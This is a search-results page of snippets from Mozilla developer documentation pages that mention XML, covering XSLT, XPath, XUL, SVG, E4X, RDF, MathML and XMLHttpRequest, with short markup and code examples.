« transforming xml with xslt the extensible stylesheet language/transform is a very powerful language, and a complete discussion of it is well beyond the scope of this article, but a brief discussion of some basic concepts will be helpful in understanding the description of netscape's capabilities that follows.
... an xslt stylesheet is an xml document.
... unlike css, which has its own specialized syntax, an xslt stylesheet is an xml document, which must conform to all xml rules, including well-formedness.
...And 8 more matches
Troubleshooting XForms Forms - Archive of obsolete content
the type field should say application/xhtml+xml.
...if your are loading your file directly from the filesystem, make sure that has .xhtml or .xml as the file ending.
... if you are loading the form from a server, make sure that it serves the files as either application/xhtml+xml or text/xml.
...And 7 more matches
Gecko FAQ - Gecko Redirect 1
gecko is the open source browser engine designed to support open internet standards such as html 5, css 3, the w3c dom, xml, javascript, and others.
... basically, a layout engine takes content (such as html, xml, image files, applets, and so on) and formatting information (such as cascading style sheets, presentational html tags, etc.) and displays the formatted content on the screen.
...gecko also offers the ability to parse various document types (html, xml, svg, etc), advanced rendering capabilities including compositing and transformations, and support for embedded javascript and plugins.
...And 7 more matches
Gecko info for Windows accessibility vendors
xul: extensible user-interface language the xml-based language used by firefox and mozilla to develop the ui.
... ajax: asynchronous javascript and xml ajax is a method of building interactive web applications that process user requests, user actions immediately in real time, unlike an http request, during which users must wait for a whole page to reload or for a new page to load.
... embedded clients (support msaa) embedded clients use gecko only in the content window, at the moment for html and generic xml only.
...And 7 more matches
Paths - SVG: Scalable Vector Graphics
WebSVGTutorialPaths
while creating complex paths using an xml editor or text editor is not recommended, understanding how they work will allow to identify and repair display issues in svgs.
...for example: <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <path d="m10 10"/> <!-- points --> <circle cx="10" cy="10" r="2" fill="red"/> </svg> there are three commands that draw lines.
... <svg width="100" height="100" xmlns="http://www.w3.org/2000/svg"> <path d="m 10 10 h 90 v 90 h 10 l 10 10"/> <!-- points --> <circle cx="10" cy="10" r="2" fill="red"/> <circle cx="90" cy="90" r="2" fill="red"/> <circle cx="90" cy="10" r="2" fill="red"/> <circle cx="10" cy="90" r="2" fill="red"/> </svg> we can shorten the above path declaration a little bit by using the "close path" command, called with z.
...And 7 more matches
XPath
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes xpath stands for xml path language.
... it uses a non-xml syntax to provide a flexible way of addressing (pointing to) different parts of an xml document.
... xpath is mainly used in xslt, but can also be used as a much more powerful way of navigating through the dom of any xml-like language document using xpathexpression, such as html and svg, instead of relying on the document.getelementbyid() or parentnode.queryselectorall() methods, the node.childnodes properties, and other dom core features.
...And 7 more matches
How to convert an overlay extension to restartless - Archive of obsolete content
the second is to re-code to use xmlhttprequest.
... step 3b: option 2: use xmlhttprequest now, how do we replace that?
... the answer to that question is to load your file from a chrome:// uri using xmlhttprequest.
...And 6 more matches
Appendix D: Loading Scripts - Archive of obsolete content
<?xml version="1.0" encoding="utf-8"?> <!doctype overlay> <overlay id="script-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript;version=1.8" src="overlay.js"/> </overlay> evalinsandbox the components.utils.evalinsandbox method may be used to load arbitrary code into components.utils.sandbox objects.
... javascript files or urls may be loaded in this manner by first retrieving their contents into memory using an xmlhttprequest.
... in addition to compile time, reading files synchronously from disk has its own overhead, and xmlhttprequests have significantly more overhead than native loading methods.
...And 6 more matches
Index of archived content - Archive of obsolete content
ces progress listeners queryselector rosetta running applications svg animation svg general scrollbar sidebar stringview tabbox toolbar tree uri parsing view source for xul applications windows xml-related code snippets xml:base support in old browsers xpath getattributens common pitfalls communication between html and your extension creating custom firefox extensions with the mozilla build system custom about: urls default preferences ...
...erlay prerequisites specifying the appearance tinderbox creating a release tag creating a skin for firefox/getting started creating a skin for mozilla faq getting started in-depth links contents.rdf toolbarbindings.xml creating a skin for seamonkey 2.x getting started chrome.manifest install.rdf creating a hybrid cd creating regular expressions for a microsummary generator dtrace dehydra dehydra frequently asked questions ...
... jspage statusbar statusbar litmus tests mac os x build prerequisites/fink makefile.mozextension.2 message summary database metro browser chrome tests microsummary topics microsummary xml grammar reference migrate apps from internet explorer to mozilla modularization techniques monitoring downloads mozilla application framework mozilla application framework in detail mozilla crypto faq mozprocess mozprofile mozrunner ...
...And 6 more matches
Using Visual Studio as your XUL IDE - Archive of obsolete content
setting the correct editor as xul files are nothing but xml, you can use the normal xml-editor for writing xul.
...> text editor > file extension and add the extension "xul" with "xml editor".
...using xml schemas for validation and intellisense visual studio needs the xml schema for xul files.
...And 6 more matches
The Implementation of the Application Object Model - Archive of obsolete content
it is an xml-based language for describing the contents of windows and dialogs.
... how are xml dom/aom trees represented in nglayout?
...nsxmlelement is used to represent a single node in a content tree for an xml language.
...And 6 more matches
What is RSS - Archive of obsolete content
the most popular versions of rss are xml-based markup languages used for syndication.
...netscape's rss 0.91 was only xml-based and added a dtd to allow several entities (commonly found in html).
... so at this point netscape deprecated the rdf-based rss 0.90 and told everyone to use netscape's rss 0.91, which was xml-based.
...And 6 more matches
SAX - Archive of obsolete content
sax, short forsimple api for xml, is a parsing api.
... sax was the first widely adopted api for xml in java, and later implemented in several other programming language environments.
... quick start the sax parser functionality is available through the xml reader component.
...And 6 more matches
E4X for templating - Archive of obsolete content
f the basics of e4x that it can be used for this purpose, if one adds a few common purpose functions (especially along with the convenience of javascript 1.8 expression closures), the templates can function more dynamically, offering the power and readability of templating languages such as smarty for php (though admittedly without the currently wider cross-browser support of xslt or the strictly-xml approach of phptal or seethrough templating).
... security and escaping function e (str) { if (typeof str === 'xml') {str = str.tostring();} return str; } function quot (s) { // useful for placing user input within inline javascript; may be combined with escape function above as well if (typeof s === 'string') { return s.replace(/"/g, '&quot;').replace(/'/g, '&apos;'); } if (typeof s === 'xml') { return s.tostring().replace(/"/g, '&quot;').replace(/'/g, '&apos;'); } return string(s).replace(/"/g, '&quot;').replace(/'/g, '&apos;'); } localization e4x works nicely with a simple utility for localizing strings of a properties file: // localization function $s(msg, args){ //get localized message var strs = cc['@mozilla.org/intl/stringbundle;1'].getservice(ci.nsistringbundleservice).
...cond != undefined) { // we need undefined condition for e4x return h(cond); } else if (_else) { return _else(cond); } return ''; // empty string allows conditions in attribute as well as element content } for example: {_if(elems.length(), function () <description>{elems[0]}</description>, function _else () <label>no data</label> )} note that the simple xmllist() constructor (<></>) may be useful to still be able to use an expression closure (i.e., without needing return statements and braces): {_if(elems.length(), function () <> <markup/> <markup/> </>)} note that, while it is convenient to store such e4x in separate file templates (to be eval()d at a later time, taking into account security considerations, such as escaping with the...
...And 6 more matches
Building the WebLock UI
it uses xul, which is an xml language that gecko knows how to render as user interface, but it also interacts with particular parts of the mozilla user interface, where it must install itself as an extension to the ui.
...the second section, xul, describes the xml-based user interface language (xul) and how you can use it to create a dialog that provides access to the weblock component and its services.
...that function uses the opendialog method from the window object and takes the url to the xul file in which the dialog is defined: function loadweblock() { window.opendialog("chrome://weblock/weblock.xul"); } xul the entire user interface of the mozilla browser and all of the applications that go with it, including the mail client, the irc client, and others, have been defined in an xml language called xul.
...And 6 more matches
Index
MozillaTechXPCOMIndex
512 nsidomprogressevent interfaces, interfaces:scriptable, reference, xmlhttprequest, xpcom interface reference, nsidomprogressevent, progress the nsidomprogressevent is used in the media elements (<video> and <audio>) to inform interested code of the progress of the media download.
... 513 nsidomserializer dom, interfaces, interfaces:scriptable implemented by: @mozilla.org/xmlextras/xmlserializer;1.
... 1099 nsixmlhttprequest guide, interfaces, xmlhttprequest, xpcom api reference, xpcom interface reference nsixmlhttprequest along with nsijsxmlhttprequest and nsixmlhttprequesteventtarget are mozilla's implementation details of the dom xmlhttprequest object.
...And 6 more matches
Autoconfiguration in Thunderbird
configuration server at isp isps have the option to provide their configuration information themselves directly to users, by setting up a web server at autoconfig.<domain>, which simply returns a static xml file with the configuration, as described below.
... for more complicated setups, for example when the login name does not appear in the email address, the xml file can also be generated by the isp.
...for example, for the email address fred@example.com , the lookup is performed as (in this order): tb-install-dir/isp/example.com.xml on the harddisk check for autoconfig.example.com look up of "example.com" in the ispdb look up "mx example.com" in dns, and for mx1.mail.hoster.com, look up "hoster.com" in the ispdb try to guess (imap.example.com, smtp.example.com etc.) we may add dns srv records as supported mechanism in the future, but we currently do not.
...And 6 more matches
<semantics> - MathML
the mathml elements <semantics>, <annotation> and <annotation-xml> are used to combine presentation and content markup and to provide both, layout information and semantic meaning of mathematical expressions.
...the <annotation> element is the container element containing semantic information in a non-xml format, whereas the <annotation-xml> element contains content in an xml format, e.g.
... if the first child is a presentation mathml element other than <annotation> or <annotation-xml>, render the first child.
...And 6 more matches
SVG Core Attributes - SVG: Scalable Vector Graphics
WebSVGAttributeCore
id lang tabindex xml:base xml:lang xml:space attributes id defines a unique identifier (id) which must be unique in the whole document.
...if both lang and xml:lang attribute are used, xml:lang has priority over lang.
... value type: <integer>; animatable: no xml:base specifies a base iri other than the base iri of the document.
...And 6 more matches
XSLT: Extensible Stylesheet Language Transformations
WebXSLT
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes extensible stylesheet language transformations (xslt) is an xml-based language used, in conjunction with specialized processing software, for the transformation of xml documents.
... although the process is referred to as "transformation," the original document is not changed; rather, a new xml document is created based on the content of an existing document.
... then, the new document may be serialized (output) by the processor in standard xml syntax or in another format, such as html or plain text.
...And 6 more matches
Introduction - Archive of obsolete content
several types of datasources are supported by default, rdf, xml and sqlite databases, however, processors may be written to support other types of datasources.
...for example, for an xml datasource, the url of an xml file is specified.
...for xml datasources, use a querytype of xml.
...And 5 more matches
Using Recursive Templates - Archive of obsolete content
both the rdf and xml datasource types support recursion.
... for example, using this xml datasource: <people> <group name="male"> <person name="napoleon bonaparte"/> <person name="julius caesar"/> <person name="ferdinand magellan"/> </group> <group name="female"> <person name="cleopatra"/> <person name="laura secord"/> </group> </people> we could display this data in a flat list by using the right query: <query expr="group/person/"> or, we could display one level for the two groups, and use another level for each person.
... <groupbox type="menu" datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="*"/> <action> <vbox uri="?" class="indent"> <label value="?name"/> </vbox> </action> </template> </groupbox> in this simplified example, the xpath expression just gets the list of child elements of the reference node.
...And 5 more matches
Creating a Window - Archive of obsolete content
the simplest xul file has the following structure: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <!-- other elements go here --> </window> this window will not do anything since it doesn't contain any ui elements.
...here is a line by line breakdown of the code above: <?xml version="1.0"?> this line simply declares that this is an xml file.
... <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> this line is used to specify the style sheets to use for the file.
...And 5 more matches
E4X - Archive of obsolete content
ArchiveWebE4X
ecmascript for xml (e4x) is a programming language extension that adds native xml support to javascript.
... it does this by providing access to the xml document in a form that feels natural for ecmascript programmers.
... the goal is to provide an alternative, simpler syntax for accessing xml documents than via dom interfaces.
...And 5 more matches
Introduction - Archive of obsolete content
« previousnext » basic syntax with e4x enabled, basic xml elements are valid syntax for variables.
... var element2 = <foo> <bar/> </foo>; additionally, you can specify all of the normal attributes on elements that you would normally include in an xml document.
... var element3 = <foo baz="1"/>; manipulating elements the goal of e4x was to provide an easier way for javascript programmers to manipulate an xml document, without going through the dom interfaces.
...And 5 more matches
Archive of obsolete content
jxon jxon (lossless javascript xml object notation) is a generic name by which is defined the representation of javascript objects using xml.
...there are some cases in which the whole content of an xml document must be read from the javascript interpreter (like for web-apps languages or settings xml documents, for example).
... rss really simple syndication (rss) is a popular html-like xml-based data format used for syndication.
...And 5 more matches
DOMParser - Web APIs
WebAPIDOMParser
the domparser interface provides the ability to parse xml or html source code from a string into a dom document.
... note: xmlhttprequest can parse xml and html directly from a url-addressable resource, returning a document in its response property.
... you can perform the opposite operation—converting a dom tree into xml or html source—using the xmlserializer interface.
...And 5 more matches
Using files from web applications - Web APIs
function fileupload(img, file) { const reader = new filereader(); this.ctrl = createthrobber(img); const xhr = new xmlhttprequest(); this.xhr = xhr; const self = this; this.xhr.upload.addeventlistener("progress", function(e) { if (e.lengthcomputable) { const percentage = math.round((e.loaded * 100) / e.total); self.ctrl.update(percentage); } }, false); xhr.upload.addeventlistener("load", function(e){ self.ctrl.update(100); const canvas = self...
...r.open("post", "http://demos.hacks.mozilla.org/paul/demos/resources/webservices/devnull.php"); xhr.overridemimetype('text/plain; charset=x-user-defined-binary'); reader.onload = function(evt) { xhr.send(evt.target.result); }; reader.readasbinarystring(file); } the fileupload() function shown above creates a throbber, which is used to display progress information, and then creates an xmlhttprequest to handle uploading the data.
... before actually transferring the data, several preparatory steps are taken: the xmlhttprequest's upload progress listener is set to update the throbber with new percentage information so that as the upload progresses the throbber will be updated based on the latest information.
...And 5 more matches
Event reference
abort progressevent progress and xmlhttprequest progression has been terminated (not due to an error).
... error progressevent progress and xmlhttprequest progression has failed.
... load progressevent progress and xmlhttprequest progression has been successful.
...And 5 more matches
Index - XPath
WebXPathIndex
found 57 pages: # page tags and summary 1 xpath css selectors, dom, jxon, landing, path, xml, xpath, xslt xpath stands for xml path language.
... it uses a non-xml syntax to provide a flexible way of addressing (pointing to) different parts of an xml document.
... 2 axes transforming_xml_with_xslt, xpath, xpath_reference, xslt, xslt_reference for further information on using xpath expressions, please see the for further reading section at the end of transforming xml with xslt document.
...And 5 more matches
PI Parameters - XSLT: Extensible Stylesheet Language Transformations
however when using an <?xml-stylesheet?> processing instruction (pi) there used to be no way to provide parameters.
...both pis can contain "pseudo attributes" the same way that the xml-stylesheet pi does.
... <?xslt-param name="color" value="blue"?> <?xslt-param name="size" select="2"?> <?xml-stylesheet type="text/xsl" href="style.xsl"?> note that these pis have no effect when transformation is done using the xsltprocessor object in javascript.
...And 5 more matches
net/xhr - Archive of obsolete content
provides access to xmlhttprequest functionality.
... usage security concerns by default, the xmlhttprequest object grants full access to any protocol scheme, which means that it can be used to read from (but not write to) the host system's entire filesystem.
... threat model the xmlhttprequest object can be used by an add-on to "phone home" and transmit potentially sensitive user data to third parties.
...And 4 more matches
Enhanced Extension Installation - Archive of obsolete content
c:\program files\mozilla firefox\extensions extension metadata the extension system stores metadata in both of the two locations, in the following files: <location>/extensions/extensions.rdf - an xml/rdf datasource listing all the extensions installed at that location.
... datasource structure the extension manager implements a rdf datasource which contains a composite of the two xml/rdf datasources at the two install locations.
...the model looks something like this: nsextensionsdatasource.prototype = { _composite // the composite that manages the two // datasources at the install locations for // read-only information requests _profileextensions // the rdf/xml datasource for the items at the // profile install location _globalextensions // the rdf/xml datasource for the items at the // global install location.
...And 4 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
listing 1: content for install.rdf <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <!-- unique id for extension.
... listing 3: additional content for overlay.xul <?xml version="1.0"?> <overlay id="helloworldoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <menupopup id="menu_toolspopup"> <menuitem id="helloworldmenuitem" label="hello, world!" insertbefore="sanitizeseparator" oncommand="window.opendialog('chrome://helloworld/content/clock.xul','clock','chrome,centerscreen,modal');"/> </menupopup> </overlay> phase 2...
... listing 5: content for clock.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/"?> <dialog id="clockdialog" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="clock" buttons="accept" onload="initclock();"> <script type="application/javascript" src="chrome://helloworld/content/clock.js"/> <hbox align="center"> <label value="current time:" /> <textbox id="currenttime"...
...And 4 more matches
Custom XUL Elements with XBL - Archive of obsolete content
« previousnext » xml binding language (xbl, sometimes also called extensible bindings language) is a language for describing bindings that can be attached to elements in other documents.
...xbl is heavily used in xul, but in theory it could be applied to any xml language.
...if you look into the content directory, you'll see both files: person.xml - this is the main binding file.
...And 4 more matches
Search Extension Tutorial (Draft) - Archive of obsolete content
adding a new search engine search engines may be added either directly via an api call, or indirectly via an xml description file.
... if (engine && engine.getsubmission("_searchterms_").uri.spec == engine_details.url) services.search.removeengine(engine); } } function install() {} function uninstall() {} the complex method requires two files, an xml search description file and a javascript file to register the engine.
... in non-restartless extensions, the xml search description may instead simply be placed in the searchplugins/ directory in the root of your xpi, as em:unpack is specified in your install.rdf file.
...And 4 more matches
Template Logging - Archive of obsolete content
only the 'rdf', 'xml' and 'storage' values are provided by default.
...xpath expression in query could not be parsed for xml datasources, a query attribute has an xpath expression that is not valid.
... xpath expression in <assign> could not be parsed </assign> for xml datasources, an <assign> element has an xpath expression that is not valid.
...And 4 more matches
Introduction to RDF - Archive of obsolete content
you can use any of the provided rdf datasources to populate trees with data or you can point to an rdf file stored in xml which contains the data.
...rdf/xml rdf consists of a model, which is a graph representation of data.
... rdf/xml is an xml language which can be used to represent rdf data.
...And 4 more matches
XUL Structure - Archive of obsolete content
ensure that your web server is configured to send xul files with the content type of application/vnd.mozilla.xul+xml (eg with php header('content-type: application/vnd.mozilla.xul+xml');).
... document types: html xml xul css mozilla uses a distinctly different kind of document object (dom) for html and xul, although they share much of the same functionality.
... there are three main types of document in mozilla: html, xml, and xul.
...And 4 more matches
Gecko Compatibility Handbook - Archive of obsolete content
incorrect use of xml empty tag notation many authors have taken to using xml empty tag notation (<tag />) in their html files.
... in xml, an empty tag never has any content.
...in addition, you must only use the xml empty tag notation for html elements that are always empty - and not for html elements that have optional ending tags.
...And 4 more matches
Archived open Web documentation - Archive of obsolete content
e4x ecmascript for xml (e4x) is a programming language extension that adds native xml support to javascript.
... it does this by providing access to the xml document in a form that feels natural for ecmascript programmers.
... the goal is to provide an alternative, simpler syntax for accessing xml documents than via dom interfaces.
...And 4 more matches
XQuery - Archive of obsolete content
xquery is a w3c standard language which is meant to be for xml what sql is for relational data--i.e., the ability to search, sort, extract, and remold data.
... it offers powerful and yet intuitive searching based on xpath, has sql-like syntax for the query portion, and has scripting features such as function and variable definitions, xml-inclusion, etc.
... xquseme is a working proof-of-concept (so far tested on windows and linux with java installed; mac does not work) extension which allows one to perform xqueries on external urls, the currently loaded webpage (even if originally from poorly formed html), and/or xml (including well-formed xhtml) documents stored locally.
...And 4 more matches
MathML Torture Test
22" alt="texbook, 16.4-16.5" /></td> <td> <math display="block"> <msubsup> <mi>y</mi> <mn>3</mn> <mo>&#x2034;</mo> </msubsup> </math> </td></tr> <tr> <td>29</td> <td><img src="https://udn.realityripple.com/samples/ac/635fb943ee.png" width="194" height="58" alt="stirling's approximation" /></td> <td><math display="block" xmlns="http://www.w3.org/1998/math/mathml"><mrow><munder><mo lspace="0em" rspace="0em">lim</mo><mrow><mi>n</mi><mo stretchy="false">→</mo><mo>+</mo><mn>∞</mn></mrow></munder><mfrac><msqrt><mrow><mn>2</mn><mi>π</mi><mi>n</mi></mrow></msqrt><mrow><mi>n</mi><mo>!</mo></mrow></mfrac><msup><mrow><mo>(</mo><mfrac><mi>n</mi><mi>e</mi></mfrac><mo>)</mo></mrow><mi>n</mi></msup></mrow><mo>=</mo><mn>1</mn>...
...</math></td> </tr> <tr> <td>30</td> <td><img src="https://udn.realityripple.com/samples/d5/2cf8356a09.png" width="194" height="58" alt="leibniz formula for the determinant" /></td> <td><math display="block" xmlns="http://www.w3.org/1998/math/mathml"><mrow><mrow><mo lspace="0em" rspace="0em">det</mo><mo stretchy="false">(</mo><mi>a</mi><mo stretchy="false">)</mo></mrow><mo>=</mo><munder><mo>∑</mo><mrow><mi>σ</mi><mo>∊</mo><msub><mi>s</mi><mi>n</mi></msub></mrow></munder><mrow><mi>ϵ</mi><mo stretchy="false">(</mo><mi>σ</mi><mo stretchy="false">)</mo></mrow><mrow><munderover><mo>∏</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></munderover><msub><mi>a</mi><mrow><mi>i</mi><mo>,</mo><msub><mi>σ</mi><mi>i</mi></msub></mrow></msub></mrow></mrow></math></td> </tr...
..." display="block"> <msubsup> <mi>&#x1ee11;</mi> <mn>٣</mn> <mo>&#x2034;</mo> </msubsup> </math> </td> <td> <math display="block"> <msubsup> <mi>y</mi> <mn>۳</mn> <mo>&#x2034;</mo> </msubsup> </math> </td> </tr> <tr> <td>29</td> <td><math dir="rtl" display="block" xmlns="http://www.w3.org/1998/math/mathml"><mrow><munder><mo lspace="0em" rspace="0em" mathcolor="red">lim</mo><mrow><mi>&#x1ee1d;</mi><mo stretchy="false">←</mo><mo>+</mo><mn>∞</mn></mrow></munder><mfrac><msqrt><mrow><mn>٢</mn><mi>π</mi><mi>&#x1ee1d;</mi></mrow></msqrt><mrow><mi>&#x1ee1d;</mi><mo>!</mo></mrow></mfrac><msup><mrow><mo>(</mo><mfrac><mi>&#x1ee1d;</mi><mi>e</mi></mfrac><mo>)</mo></...
...And 4 more matches
Patches and pushes
each plugin is stored as an xml file, with list.txt containing the names of each plugin.
...<searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>yahoo</shortname> <description>yahoo search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> ***this tag is optional***<url type="application/x-suggestions+json" method="get" template="http://ff.search.yahoo.com/gossip?output=fxjson&amp;command={searchterms}" />*** <url type="text/html" method="get" template="http://search.yahoo.com/search"> <param name="p" value="{searchterms}"/> <param name="ei" value="utf-8"/> <mozparam name="fr" condition="pref" pref="yahoo-f...
...r" /> </url> <searchform>http://search.yahoo.com/</searchform> </searchplugin> create xml files for each search plugin preference following the above example.
...And 4 more matches
Using FormData Objects - Web APIs
the formdata object lets you compile a set of key/value pairs to send using xmlhttprequest.
...var blob = new blob([content], { type: "text/xml"}); formdata.append("webmasterfile", blob); var request = new xmlhttprequest(); request.open("post", "http://foo.com/submitform.php"); request.send(formdata); note: the fields "userfile" and "webmasterfile" both contain a file.
... this example builds a formdata instance containing values for fields named "username", "accountnum", "userfile" and "webmasterfile", then uses the xmlhttprequest method send() to send the form's data.
...And 4 more matches
begin - SVG: Scalable Vector Graphics
WebSVGAttributebegin
examples offset example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1"> <!-- animated rectangles --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" to="100" begin="0s" dur="8s" fill="freeze" /> </rect> <rect x="35" y="60" height="15" width="0"> <animate attributetype="xml" attributename="width" to="75" ...
... begin="2s" dur="6s" fill="freeze" /> </rect> <rect x="60" y="85" height="15" width="0"> <animate attributetype="xml" attributename="width" to="50" begin="4s" dur="4s" fill="freeze" /> </rect> <!-- grid --> <text x="10" y="20" text-anchor="middle">0s</text> <line x1="10" y1="25" x2="10" y2="105" stroke="grey" stroke-width=".5" /> <text x="35" y="20" text-anchor="middle">2s</text> <line x1="35" y1="25" x2="35" y2="105" stroke="grey" stroke-width=".5" /> <text x="60" y="20" text-anchor="middle">4s</text> <line x1="60" y1="25" x2="60" y2="105" stroke="grey" stroke-width=".5" /> <text x="85" y="20" text-anchor="middle">6s</text> <line x1="85" y1="25" x2="85" y2="105" stroke="grey...
... <text x="110" y="20" text-anchor="middle">8s</text> <line x1="110" y1="25" x2="110" y2="105" stroke="grey" stroke-width=".5" /> <line x1="10" y1="30" x2="110" y2="30" stroke="grey" stroke-width=".5" /> <line x1="10" y1="105" x2="110" y2="105" stroke="grey" stroke-width=".5" /> </svg> begin-1-offset.svg syncbase example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- animated rectangles --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" to="50" id="first" begin="0s;third.end" dur="4s" /> </rect> <rect x="60" y="60" height="15" width="0"> <animate attributetype="xml"...
...And 4 more matches
d - SVG: Scalable Vector Graphics
WebSVGAttributed
three elements have this attribute: <path>, <glyph>, and <missing-glyph> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path fill="none" stroke="red" d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z" /> </svg> path for <path>, d is a string containing a series of path commands that define the path to be drawn.
... formula: pn = {xo + dx, yo + dy} examples html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path fill="none" stroke="red" d="m 10,10 h 10 m 0,10 h 10 m 0,10 h 10 m 40,20 h 10 m 0,10 h 10 m 0,10 h 10 m 0,10 h 10 m 50,50 h 10 m-20,10 h 10 m-20,10 h 10 m-20,10 h 10" /> </svg> lineto path commands lineto instructions draw a straight line from the current point (po; {xo, yo})...
... formula: po′ = pn = {xo, yo + dy} examples html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- lineto commands with absolute coordinates --> <path fill="none" stroke="red" d="m 10,10 l 90,90 v 10 h 50" /> <!-- lineto commands with relative coordinates --> <path fill="none" stroke="red" d="m 110,10 l 80,80 v -80 h -40" /> </svg> cubic bézier curve cubic bézie...
...And 4 more matches
transform - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="-40 0 150 100" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <g fill="grey" transform="rotate(-10 50 100) translate(-36 45.5) skewx(40) scale(1 0.5)"> <path id="heart" d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z" /> </g> <use xlink:href="#heart" fill="none" stroke="red"/> </svg> note: as of svg2, transform is a presentation attribute, meaning it can be used as a css property.
...trix} = \begin{pmatrix} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{pmatrix} \begin{pmatrix} x_{\mathrm{prevcoordsys}} \\ y_{\mathrm{prevcoordsys}} \\ 1 \end{pmatrix} = \begin{pmatrix} a x_{\mathrm{prevcoordsys}} + c y_{\mathrm{prevcoordsys}} + e \\ b x_{\mathrm{prevcoordsys}} + d y_{\mathrm{prevcoordsys}} + f \\ 1 \end{pmatrix} example html,body,svg { height:100% } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="30" height="20" fill="green" /> <!-- in the following example we are applying the matrix: [a c e] [3 -1 30] [b d f] => [1 3 40] [0 0 1] [0 0 1] which transform the rectangle as such: top left corner: oldx=10 oldy=10 newx = a * oldx + c * oldy + e = 3 * 10 - 1 * 10 + 30 = 50 newy = b * oldx + d * oldy + f = ...
... in other words: xnew = xold + <x> ynew = yold + <y> example html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- no translation --> <rect x="5" y="5" width="40" height="40" fill="green" /> <!-- horizontal translation --> <rect x="5" y="5" width="40" height="40" fill="blue" transform="translate(50)" /> <!-- vertical translation --> <rect x="5" y="5" width="40" height="40" fill="red" transform="translate(0 50)" /> <!-- both horizontal and v...
...And 4 more matches
Basic Example - XSLT: Extensible Stylesheet Language Transformations
basic example the basic example will load an xml file and apply a xsl transformation on it.
...the xml file describes an article and the xsl file formats the information for display.
... figure 4 : xml file <?xml version="1.0"?> <myns:article xmlns:myns="http://devedge.netscape.com/2002/de"> <myns:title>my article</myns:title> <myns:authors> <myns:author company="foopy corp.">mr.
...And 4 more matches
Extension Versioning, Update and Compatibility - Archive of obsolete content
<?xml version="1.0" encoding="utf-8"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <!-- this description resource includes all the update and compatibility information for a single add-on with the id foobar@developer.mozilla.org.
... ub2hvdg8+oxmcif8d/9evwm8eh/ixuxyzlmrzts3o5tv9eway5ubctqdf1wgtsgk jrgzow1fitkzi7w0//c8ekdmlatguegfns2iltd5p/0kh/hf1rpc1wuqeqkcd4+l bcvq13ad</em:signature> </rdf:description> </rdf:rdf> some people prefer this alternate format (note that much of the information has been trimmed from this example for brevity in order to show the basic structure): <?xml version="1.0" encoding="utf-8"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <!-- this description resource includes all the update and compatibility information for a single add-on with the id foobar@developer.mozilla.org.
... the information page retrieved must currently be totally valid xhtml, including being delivered with the mime type application/xhtml+xml (important: see problems section) you may include %app_locale% in your updateinfourl if you want to have locale information included in the url -- this allows you to customize the text based on the user's locale.
...And 3 more matches
Interaction between privileged and non-privileged pages - Archive of obsolete content
(to better ensure others do not also implement the same event with a different meaning, one might either attach a namespace to <myextensiondataelement/> and check on the event handler for the correct namespaceuri property, or as per the dom specification, use initevent() with an event name that is itself namespaced (xml name characters only): "it is also strongly recommended that third parties adding their own events use their own prefix to avoid confusion and lessen the probability of conflicts with other new events.") in the case where your extension's overlay does not interact directly with browser.xul, such as in a sidebar, it might be easier to add the event listener to the top-level document directly as s...
...a workaround is to treat the communication between webpage and chrome as a normal network protocol and use xml.
